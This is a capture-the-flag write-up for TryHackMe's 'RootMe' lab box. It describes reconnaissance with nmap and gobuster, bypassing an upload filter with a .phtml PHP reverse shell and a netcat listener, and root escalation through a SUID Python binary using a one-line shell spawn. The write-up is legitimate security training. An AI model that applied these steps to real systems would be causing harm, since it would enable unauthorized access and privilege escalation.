RootMe			
Organization: Try Hack Me		Type: offline CTF	
Categories:	☐ Network Security ☐ Cryptography ☐ Mobile Applications	☐ Reverse Engineering ☑ Web Applications ☐ Forensics	Difficulty: Easy
Name: Kasper Verhulst		Release date:07-09-2020 Completing date: 19-02-2023	

Scanning & Reconaissance

First, let us start scanning the machine to see which services are running. As usual, let's start by running an nmap command.

```
nmap -sT -A -p1-1024 -T4 10.10.252.138 > nmap.out
```

We find the following services running on the machine

Port	Service	Version
22/tcp open	SSH	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open	HTTP	apache 2.4.29

On the home page index.html, we don't find anything interesting in the HTML source code. Let us try to enumerate if we find any interesting paths:

```
gobuster dir -x php,py,html -w /usr/share/wordlists/dirb/common.txt
-u http://$BOX_IP
```

We find the following resources:

path	Status code
/.php	403
/.html	403
/.hta	403
/.hta.php	403
/.hta.py	403
/.hta.html	403
/.htaccess.py	403
/.htaccess	403
/.htaccess.php	403
/.htaccess.html	403
/.htpasswd	403
/.htpasswd.php	403
/.htpasswd.py	403
/.htpasswd.html	403
/css	301
/index.php	200
/index.php	200
/js	301
/panel	301
/server-status	403
/uploads	301

In the /panel webform, we can upload files. The idea now is to upload a malicious script that actually creates a reverse shell in PHP. First let's open a port on our local machine.

```
nc -nlvp 1234
```

Now when we try to inject a php reverse shell script, the website is blocking the upload of a php file. Let's try a script written in another language that is potentially supported by the Apache engine. For instance a python script can be uploaded but will not be executed, which indicates the engine is not running these kind of scripts. We will have to bypass the upload filter.

File upload mechanisms are very common on websites, but sometimes have poor validation. This allows attackers to upload malicious files to the web server, which can then be executed by other users or the server itself. Developers may blacklist specific file extensions and prevent users from uploading files with extensions that are considered dangerous. This can be bypassed by using alternate extensions or even unrelated ones.

Here, let us try the alternative PHP extension phtml. The file upload now succeeds and we have a reverse shell on the web server. We can find the first flag:

```
find / -name user.txt
```

The final step is to elevate our privileges to root. Let's see if there are any interesting SUID binaries:

```
find / -perm -u=s -type f 2>/dev/null
```

Interstingly enough, the python binary will always be run as root. So let us try Python to spawn a new shell as root:

```
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Now we can find the final flag:

```
find / -name root.txt
```